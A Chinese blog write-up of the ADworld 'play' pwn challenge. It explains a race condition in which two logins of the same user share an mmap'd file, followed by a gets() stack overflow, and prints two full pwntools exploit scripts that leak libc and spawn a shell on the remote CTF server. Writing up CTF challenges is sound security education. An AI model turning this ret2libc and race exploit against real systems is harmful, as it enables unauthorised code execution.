ADworld pwn wp - play

前言

一道race condition题目, 双线程共用同一内存就可能有漏洞

分析过程

在这里插入图片描述
一个一个函数看, 没啥稀奇的, 直到看到attack函数

int attack()
{
  int result; // eax
  int v1; // [esp+0h] [ebp-28h]
  int v2; // [esp+4h] [ebp-24h]
  int v3; // [esp+8h] [ebp-20h]
  int v4; // [esp+Ch] [ebp-1Ch]
  int v5; // [esp+10h] [ebp-18h]
  int v6; // [esp+14h] [ebp-14h]
  int v7; // [esp+18h] [ebp-10h]
  int v8; // [esp+1Ch] [ebp-Ch]
  int v9; // [esp+20h] [ebp-8h]
  int v10; // [esp+24h] [ebp-4h]
  int savedregs; // [esp+28h] [ebp+0h]

  ++*((_DWORD *)gHero + 1);
  ++*(_DWORD *)(gMonster + 4);
  hero_recovery();
  mon_recovery();
  printf("%s display:%s\n", (const char *)gHero + 16, *(const char **)(*((_DWORD *)gHero + 20) + 12));
  printf("%s display:%s\n", (const char *)(gMonster + 16), *(const char **)(*(_DWORD *)(gMonster + 80) + 12));
  v6 = **(_DWORD **)(gMonster + 80);
  v5 = *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 4);
  if ( *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 16) && *(int *)(gMonster + 4) > 4 && rand() % 3 == 1 )
  {
    *(_DWORD *)(gMonster + 4) = 0;
    v5 += *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 16);
    v6 += *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 16);
  }
  v8 = **((_DWORD **)gHero + 20);
  v7 = *(_DWORD *)(*((_DWORD *)gHero + 20) + 4);
  if ( *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 16) )
  {
    printf("use hiden_methods?(1:yes/0:no):");
    v4 = read_int();
    if ( v4 == 1 )
    {
      v7 += *(_DWORD *)(*((_DWORD *)gHero + 20) + 16);
      v8 += *(_DWORD *)(*((_DWORD *)gHero + 20) + 16);
    }
  }
  if ( v7 < v6 )
    *((_DWORD *)gHero + 2) -= v6 - v7;
  if ( v5 < v8 )
    *(_DWORD *)(gMonster + 8) -= v8 - v5;
  if ( *((int *)gHero + 2) <= 0 )
  {
    puts("you failed");
    *((_DWORD *)gHero + 2) = 0;
    release_all(v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, savedregs);
  }
  result = *(_DWORD *)(gMonster + 8);
  if ( result <= 0 )
  {
    puts("you win");
    if ( *(_DWORD *)gMonster == 3 )
    {
      puts("we will remember you forever!");
      vul_func();
      release_all(v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, savedregs);
    }
    puts("slave up");
    level_up();
    result = init_monster(*(_DWORD *)gMonster + 1);
  }
  return result;
}

中间有个vul_func具有挑衅意味的函数, 进去看直接是一个栈溢出, 而且没有canary保护

int vul_func()
{
  char s[72]; // [esp+0h] [ebp-48h] BYREF

  printf("what's your name:");
  gets(s);
  return printf("ok! %s ,welcome\n", s);
}

不过情况似乎没有表面那么简单, 因为想要进入这个函数, 需要赢得游戏本身
在这里插入图片描述

在这里插入图片描述

条件是Surplus == 0 && slave == 3
不用想, 正常打游戏一般不可能赢, 所以只能用hacker的方法打游戏
找一下ghero的引用
在这里插入图片描述

看到ghero在init_db中分配内存空间

void *__cdecl init_db(char *file)
{
  void *result; // eax

  gfd = open(file, 2);
  result = mmap(0, 0x1000u, 3, 1, gfd, 0);
  gHero = result;
  return result;
}

逆向回去
在这里插入图片描述
分配的空间和用户名相关
看看mmap的定义
void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);

可见如果控制登陆相同的用户, 那么分配到的空间是一样的, 那可以双开游戏, 登陆同一个用户, 就可以进行race condition的利用

漏洞利用

目的是打赢游戏, 看看技能表
在前两回合
不使用hiden_method时:
0: DDOS Attack 双方扣血
1: Overflow Attack 己方扣血, 对方加血
2: Middleman Attack 双方加血
3: Penetration Attack 双方加血

使用hiden_method时:
0: DDOS Attack 己方加血, 对方扣血
1: Overflow Attack 己方加血, 对方扣血
2: Middleman Attack 双方加血
3: Penetration Attack 双方加血

前两回合可以手动打赢, 但是重点是第三回合, 只有双方扣血/双方回血的技能效果但是对方血量是90 > 己方血量60, 这时是怎么都打不赢对面的, 所以只能开挂, 通过双开同时叠加两种技能效果, 己方加血, 对方扣血

在这里插入图片描述
一种可行的攻击模式为
线程A使用技能3, 在use hiden method阻塞输入时, 线程B修改技能为1, 再让A使用hiden method, 这样就能实现己方加血, 对方扣血的效果
打赢游戏后就是栈溢出, 泄露libc, get shell

from LibcSearcher import LibcSearcher
from pwn import *

url, port = "111.200.241.244", 51083
filename = "./pwn"
elf = ELF(filename)
# libc = ELF("")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

debug = 0
context.log_level="debug"
if debug:
    ioA = process(filename)
    ioB = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    ioA = remote(url, port)
    ioB = remote(url, port)

def dbg():
    gdb.attach(ioA)
    pause()

def login(io, name):  
   io.sendlineafter("login:", name)  
  
def attack(io):  
   io.sendlineafter("choice>> ","1")  
  
def use_hiden_method(io, choice):  
   io.sendlineafter("(1:yes/0:no):",str(choice))  
  
def change_skill(io, choice):  
   io.sendlineafter("choice>> ","3")  
   io.sendlineafter("choice>> ", str(choice))  
  
def hacking_attack(ioA, ioB):  
   change_skill(ioA, 3)  
   attack(ioA)  
   change_skill(ioB,1)  
   use_hiden_method(ioA, 1)  

def pwn():
    login(ioA, "hack")
    login(ioB, "hack")

    while True:
        hacking_attack(ioA, ioB)
        content = ioA.recvuntil("\n")
        if b"you win" in content:
            content = ioA.recvuntil("\n")
            if b"we will remember you forever!" in content:
                break

    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    vul_addr = elf.sym['vul_func']
    payload = cyclic(0x48 + 4) + p32(puts_plt) + p32(vul_addr) + p32(puts_got)
    # dbg()
    ioA.sendlineafter("what's your name:", payload)
    ioA.recvuntil("welcome\n")
    puts_addr = u32(ioA.recv(4))
    log.info("puts address: %#x" % puts_addr)

    libc = LibcSearcher("puts", puts_addr)
    libc_base = puts_addr - libc.dump("puts")
    system_addr = libc.dump("system") + libc_base
    binsh_addr = libc.dump("str_bin_sh") + libc_base
    log.info("libc base address: %#x" % libc_base)
    log.info("system address: %#x" % system_addr)
    log.info("bin sh address: %#x" % binsh_addr)
    # dbg()
    payload = cyclic(0x48 + 4) + p32(system_addr) + cyclic(4) + p32(binsh_addr)
    ioA.sendlineafter("what's your name:", payload)
    ioA.recvuntil("\n")
    ioA.interactive()

if __name__ == '__main__':
    pwn() 

不过问题在于LibcSearcher不靠谱, 搜索到的libc版本不对, 需要到libc-database手动搜索最后发现是
libc6-i386_2.23-0ubuntu10_amd64

修改exp

from LibcSearcher import LibcSearcher
from pwn import *

url, port = "111.200.241.244", 62580
filename = "./pwn"
elf = ELF(filename)
# libc = ELF("")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

debug = 0
context.log_level="debug"
if debug:
    ioA = process(filename)
    ioB = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    ioA = remote(url, port)
    ioB = remote(url, port)

def dbg():
    gdb.attach(ioA)
    pause()

def login(io, name):  
   io.sendlineafter("login:", name)  
  
def attack(io):  
   io.sendlineafter("choice>> ","1")  
  
def use_hiden_method(io, choice):  
   io.sendlineafter("(1:yes/0:no):",str(choice))  
  
def change_skill(io, choice):  
   io.sendlineafter("choice>> ","3")  
   io.sendlineafter("choice>> ", str(choice))  
  
def hacking_attack(ioA, ioB):  
   change_skill(ioA, 3)  
   attack(ioA)  
   change_skill(ioB,1)  
   use_hiden_method(ioA, 1)  

def pwn():
    login(ioA, "hack")
    login(ioB, "hack")

    while True:
        hacking_attack(ioA, ioB)
        content = ioA.recvuntil("\n")
        if b"you win" in content:
            content = ioA.recvuntil("\n")
            if b"we will remember you forever!" in content:
                break

    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    vul_addr = elf.sym['vul_func']
    payload = cyclic(0x48 + 4) + p32(puts_plt) + p32(vul_addr) + p32(puts_got)
    # dbg()
    ioA.sendlineafter("what's your name:", payload)
    ioA.recvuntil("welcome\n")
    puts_addr = u32(ioA.recv(4))
    log.info("puts address: %#x" % puts_addr)

    puts_libc_addr = 0x05f140
    system_libc_addr = 0x03a940
    binsh_libc_addr = 0x15902b
    libc_base = puts_addr - puts_libc_addr
    system_addr = libc_base + system_libc_addr
    binsh_addr = libc_base + binsh_libc_addr

    # libc = LibcSearcher("puts", puts_addr)
    # libc_base = puts_addr - libc.dump("puts")
    # system_addr = libc.dump("system") + libc_base
    # binsh_addr = libc.dump("str_bin_sh") + libc_base
    log.info("libc base address: %#x" % libc_base)
    log.info("system address: %#x" % system_addr)
    log.info("bin sh address: %#x" % binsh_addr)
    # dbg()
    payload = cyclic(0x48 + 4) + p32(system_addr) + cyclic(4) + p32(binsh_addr)
    ioA.sendafter("what's your name:", payload)
    ioA.interactive()

if __name__ == '__main__':
    pwn() 

终于打通了, 不过flag在/home/ctf/文件夹下, 实在找不到的可以cd到~文件夹, 然后find . flag
在这里插入图片描述

总结

第一次打race condition, 对线程内存共用有了个直观认识, 安全的做法应该避免不同线程使用相同内存区域

卡点

(1) gets()需要读取到’\n’才能结束读取, 所以io交互需要sendline, 而不是send

(2) no matched libc,please add more libc or try others
参考https://blog.csdn.net/qq_40889704/article/details/116571781

(3) 本地打通了, 但是远程打不通, libcsearcher不给力啊
试试通过libc database来查, 期间隔了一周, 各种事耽误了, 其实一开始调了一天没打通, 血压高心情低落, 后来隔了一段时间闲的没事干又回来打, 这次想好了是通过libc-database来搜索libc版本, 然后推测服务器是ubuntu系统, 所以第一个选择libc版本就选对了, 泪目~

不过是真的好爽呀, 卡了一周的题终于打通了, 哭了

参考

https://blog.csdn.net/seaaseesa/article/details/103615984

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值